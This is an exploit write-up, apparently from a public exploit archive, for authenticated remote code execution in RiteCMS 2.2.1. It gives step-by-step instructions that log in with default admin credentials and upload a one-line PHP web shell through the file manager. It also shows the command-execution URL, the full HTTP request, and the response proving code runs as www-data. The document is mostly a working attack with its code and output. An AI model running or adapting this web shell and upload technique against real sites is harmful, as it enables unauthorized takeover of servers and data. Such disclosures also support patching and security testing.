RiteCMS 2.2.1 Remote Code Execution

`# Exploit Title: RiteCMS 2.2.1 - Authenticated Remote Code Execution  
# Date: 2020-07-03  
# Exploit Author: Enes Özeser  
# Vendor Homepage: http://ritecms.com/  
# Version: 2.2.1  
# Tested on: Linux  
  
1- Go to following url. >> http://(HOST)/cms/  
2- Default username and password is admin:admin. We must know login credentials.  
3- Go "Filemanager" and press "Upload file" button.  
4- Choose your php webshell script and upload it.   
  
((Example PHP Web Shell Code))   
<?php echo "<pre>"; system($_GET['cmd']); ?>  
  
5- You can find uploaded file there. >> http://(HOST)/media/(FILE-NAME).php  
6- We can execute a command now. >> http://(HOST)/media/(FILE-NAME).php?cmd=whoami  
  
(( REQUEST ))  
  
GET /ritecms/media/webshell.php?cmd=whoami HTTP/1.1  
Host: (HOST)  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://(HOST)/cms/index.php?mode=filemanager&directory=media  
Connection: close  
Cookie: icms[device_type]=desktop; icms[guest_date_log]=1593777486; PHPSESSID=mhuunvasd12cveo52fll3u  
Upgrade-Insecure-Requests: 1  
  
(( RESPONSE ))  
  
HTTP/1.1 200 OK  
Date: Fri, 03 Jul 2020 21:10:13 GMT  
Server: Apache/2.4.43 (Debian)  
Content-Length: 14  
Connection: close  
Content-Type: text/html; charset=UTF-8  
<pre>www-data  
`